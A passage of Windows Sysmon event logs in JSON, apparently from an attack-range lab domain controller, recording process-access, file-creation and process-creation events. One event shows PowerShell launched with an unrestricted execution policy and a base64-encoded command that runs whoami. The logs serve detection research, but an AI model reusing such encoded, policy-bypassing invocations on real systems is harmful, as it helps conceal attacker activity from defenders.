C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1a4e6|C:\\Windows\\system32\\lsasrv.dll+1ba8f|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:34.054","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"104","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1a4e6|C:\\Windows\\system32\\lsasrv.dll+1ba8f|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:34","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:34","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2575,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:34.054\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 104\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1e0a8|C:\\Windows\\system32\\lsasrv.dll+1d2d1|C:\\Windows\\system32\\lsasrv.dll+1bb00|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:34.054","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"104","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1e0a8|C:\\Windows\\system32\\lsasrv.dll+1d2d1|C:\\Windows\\system32\\lsasrv.dll+1bb00|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:34","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:34","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2576,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:34.054\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-400A-5F2D-0000-001065680400}\r\nTargetProcessId: 4784\r\nTargetImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:34.054","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-400A-5F2D-0000-001065680400}","TargetProcessId":"4784","TargetImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:34","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:34","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":2577,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:34.069\r\nProcessGuid: {90617006-400A-5F2D-0000-001065680400}\r\nProcessId: 4784\r\nImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetFilename: C:\\Users\\Administrator\\AppData\\Local\\Temp\\__PSScriptPolicyTest_jkxcbqid.m1w.ps1\r\nCreationUtcTime: 2020-08-07 11:50:34.069","Category":"File created (rule: FileCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:50:34.069","ProcessGuid":"{90617006-400A-5F2D-0000-001065680400}","Image":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetFilename":"C:\\Users\\Administrator\\AppData\\Local\\Temp\\__PSScriptPolicyTest_jkxcbqid.m1w.ps1","CreationUtcTime":"2020-08-07 11:50:34.069","EventReceivedTime":"2020-08-07 11:50:34","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:34","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2578,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:34.116\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 104\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-400A-5F2D-0000-001065680400}\r\nTargetProcessId: 4784\r\nTargetImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\lsasrv.dll+25add|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:34.116","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"104","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-400A-5F2D-0000-001065680400}","TargetProcessId":"4784","TargetImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\lsasrv.dll+25add|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:34","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:34","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2579,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:34.116\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 104\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-400A-5F2D-0000-001065680400}\r\nTargetProcessId: 4784\r\nTargetImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nGrantedAccess: 0x1478\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+25d17|C:\\Windows\\system32\\lsasrv.dll+26ded|C:\\Windows\\system32\\lsasrv.dll+25b95|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:34.116","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"104","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-400A-5F2D-0000-001065680400}","TargetProcessId":"4784","TargetImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","GrantedAccess":"0x1478","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+25d17|C:\\Windows\\system32\\lsasrv.dll+26ded|C:\\Windows\\system32\\lsasrv.dll+25b95|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:34","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:34","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":2580,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:34.179\r\nProcessGuid: {90617006-400A-5F2D-0000-00104B740400}\r\nProcessId: 4880\r\nImage: C:\\Windows\\System32\\whoami.exe\r\nFileVersion: 10.0.14393.0 (rs1_release.160715-1616)\r\nDescription: whoami - displays logged on user information\r\nProduct: Microsoft® Windows® Operating System\r\nCompany: Microsoft Corporation\r\nOriginalFileName: whoami.exe\r\nCommandLine: \"C:\\Windows\\system32\\whoami.exe\"\r\nCurrentDirectory: C:\\Users\\Administrator\\\r\nUser: ATTACKRANGE\\Administrator\r\nLogonGuid: {90617006-4009-5F2D-0000-0020AF640400}\r\nLogonId: 0x464AF\r\nTerminalSessionId: 0\r\nIntegrityLevel: High\r\nHashes: MD5=AA1E17EA3DB5CD9D8BC061CAEC74C6E8,SHA256=8ECFFCCE38D4EE87ABAEE6CBE843D94D4F8FB98FAB3C356C7F6B70E60B10F88A,IMPHASH=E24E330FA9663CE77F2031CACAEB3DF9\r\nParentProcessGuid: {90617006-400A-5F2D-0000-001065680400}\r\nParentProcessId: 4784\r\nParentImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nParentCommandLine: PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand dwBoAG8AYQBtAGkA","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:50:34.179","ProcessGuid":"{90617006-400A-5F2D-0000-00104B740400}","Image":"C:\\Windows\\System32\\whoami.exe","FileVersion":"10.0.14393.0 (rs1_release.160715-1616)","Description":"whoami - displays logged on user information","Product":"Microsoft® Windows® Operating System","Company":"Microsoft Corporation","OriginalFileName":"whoami.exe","CommandLine":"\"C:\\Windows\\system32\\whoami.exe\"","CurrentDirectory":"C:\\Users\\Administrator\\","User":"ATTACKRANGE\\Administrator","LogonGuid":"{90617006-4009-5F2D-0000-0020AF640400}","LogonId":"0x464af","TerminalSessionId":"0","IntegrityLevel":"High","Hashes":"MD5=AA1E17EA3DB5CD9D8BC061CAEC74C6E8,SHA256=8ECFFCCE38D4EE87ABAEE6CBE843D94D4F8FB98FAB3C356C7F6B70E60B10F88A,IMPHASH=E24E330FA9663CE77F2031CACAEB3DF9","ParentProcessGuid":"{90617006-400A-5F2D-0000-001065680400}","ParentProcessId":"4784","ParentImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","ParentCommandLine":"PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand dwBoAG8AYQBtAGkA","EventReceivedTime":"2020-08-07 11:50:34","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:34","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2581,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:34.179\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:34.179","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:34","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:34","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2582,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:34.179\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 